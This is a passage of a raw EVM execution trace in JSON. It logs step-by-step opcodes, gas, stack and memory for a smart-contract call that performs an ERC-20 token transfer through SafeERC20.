7540910c7ac4fbac8ec","0xf4240","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28269,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28268,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28266,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28261,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x20311728642382977181e07544ac50393dc531300"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28258,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc3b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3131,"op":"JUMPDEST","gas":28250,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3132,"op":"PUSH2","gas":28249,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3135,"op":"DUP3","gas":28246,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3136,"op":"DUP5","gas":28243,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3137,"op":"PUSH2","gas":28240,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3140,"op":"JUMP","gas":28237,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28229,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28228,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28225,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28222,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28219,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28216,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x301b9e718879e2ea4f8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28211,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x552457d83d92444fa3fdeb623772f7bbcc7e419f33068f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28208,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x552457d83d92444fa3fdeb623772f7bbcc7e419f33068f","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28205,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28202,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28199,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28196,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","